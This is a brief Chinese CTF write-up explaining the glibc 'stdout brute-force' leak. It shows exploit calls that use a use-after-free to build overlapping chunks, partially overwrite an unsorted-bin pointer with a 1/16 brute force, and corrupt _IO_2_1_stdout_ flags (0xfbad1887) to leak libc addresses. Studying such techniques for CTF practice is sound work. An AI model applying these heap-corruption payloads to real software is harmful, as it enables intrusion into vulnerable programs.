stdout爆破

最近做的比赛有一道没有给出show函数,所以学习了一下stdout爆破来泄露函数地址。

1.通过uaf漏洞修改fd ,指向我们提前布置好的fake_chunk。

2.利用fake_chunk修改下一chunk的size,从而可以free其下一个chunk而进入unsortbin,从而获得main_area.

3.再次利用uaf漏洞,修改unsort_chunk的低2字节,由于最后3位是确定的,所以需要爆破一位。至于错位构造size域,我们需要自行查找。

4.最后连续add两次即可将chunk分配至目标位置,覆盖stdout及其后几位即可实现泄露。

new(0x10,0,p64(0) + p64(0x41))
new(0x60,1,p64(0)*5 + p64(0x41))
new(0x30,2,'a')
new(0x30,3,'b')
new(0x30,4,'c')

add出所需要的chunk , 分配0x10 是为了方便放置fake_chunk 从而修改下一chunk的size,分配0x60是因为目标地址数据以0x7f开头,方便构造size域 。

edit(3,p8(0x10))
new(0x30,3,p8(0x10))
new(0x30,2,p64(0)+p64(0x70+0x41))                #make chunk overloap

利用uaf漏洞修改fd指向fake_chunk,将chunk分配至fake_chunk处,并且利用fake_chunk修改下一chunk的size域。

free(1)                          #make unsortbin  && double free
edit(2,p64(0)+p64(0x71))         #repire chunk

edit(1,p16(0x2620-0x43))

free该chunk,使其进入unsortbin ,其fd指向main_area 。利用fake_chunk修复该chunk。并且利用uaf漏洞修改unsort_chunk的fd指向目标位置。这里需要爆破一位数也就是1/16的概率。查看stdout可以使用 打印 “p /x _IO_2_1_stdout_”

new(0x60,1,p16(0x2620-0x43))
new(0x60,5,"a"*0x33+p64(0xfbad1887)+p64(0)*3+p8(0))


p /x _IO_2_1_stdout_

连续malloc两次,从而实现地址泄露